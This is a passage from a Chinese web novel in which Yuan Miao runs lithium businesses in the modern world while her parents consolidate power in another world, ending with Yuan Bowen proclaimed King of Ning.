“这两件事不能一概而论。”袁博文淡淡说。 “大同小异!” 谢云溪连忙打岔:“淼淼,锂业公司的人事招聘开始了吗?” “已经开始了!叶部长给我给我推荐了一位在锂业有多年管理经验的人,我已经让宋颜打听过了,这位褚工以前是湖东锂业的副总,不仅管理经验丰富,而且技术过硬。我准备让他担任博云锂业的经理,你们觉得怎么样?” 袁淼不懂锂业,准备跟博云矿业一样,先挂个名头,公司的事情让懂行的人管理,先看先学,知道是怎么回事后,一切就好说了。 谢云溪看向袁博文。袁博文想了想,点头:“人是叶家振推荐的,应该没问题!” “淼淼,你不能什么都听那个宋颜的!” 袁淼愣了愣,笑了:“我没有!这次是因为宋颜人脉多,我才托他帮忙打听的。” 袁博文皱着眉头。 袁淼连忙又说:“我觉得你们不要把希望寄托在我身上了!我在这里更好!现在科技发展很快,已经进入了智能化时代!但你们那边才开始工业化道路,这其中隔了整整四个时代,知识产业的差距太大,即便是文献资料,能不能看懂都是一个问题,更别提造出来和赶上了,但是我在这里就不一样!” 这段时间要铺开盐湖提锂和钾肥生产等多项产业,袁淼的感触更深了,光有资料和文献,没有专业人士帮忙,想要做成这些难度极大。 工业化道路,父母那边才开了一个头,后面还有很长的路要走,她留在这里,显然更好。 袁博文依旧皱着眉头,他也知道有袁淼在现代帮忙,他们的路会走的更顺,但是把袁淼留下,他心里的一块始终悬着,无法放下。 谢云溪的想法跟袁博文差不多,跟袁淼说完话后,她劝解说:“你别逼的太紧,小心她彻底不听。等找到人之后,确定能把淼淼接过来,咱们再慢慢劝。” “现在我们和上面的联系越发紧密了,相信上面一定会多看护她几分,不会让人随便欺负的。” 袁博文默默听着。两个世界,女儿是他们的靠山,他们也可以是女儿的靠山,只要他们足够强大,能给予的价值越高,他的女儿即便是隔着无尽的时空,也会有人主动庇护。 这年八月,程士林拿下了业州,同年十月霍小北拿下武州。自此北地十六州尽数被袁博文收入囊中了。这片被北凉铁蹄肆掠过的土地在时隔近三年后,终于将异族赶了出去。 次年正月,袁博文在郴州被张时文、江虎等人推举为宁王,封官授爵,割据建国。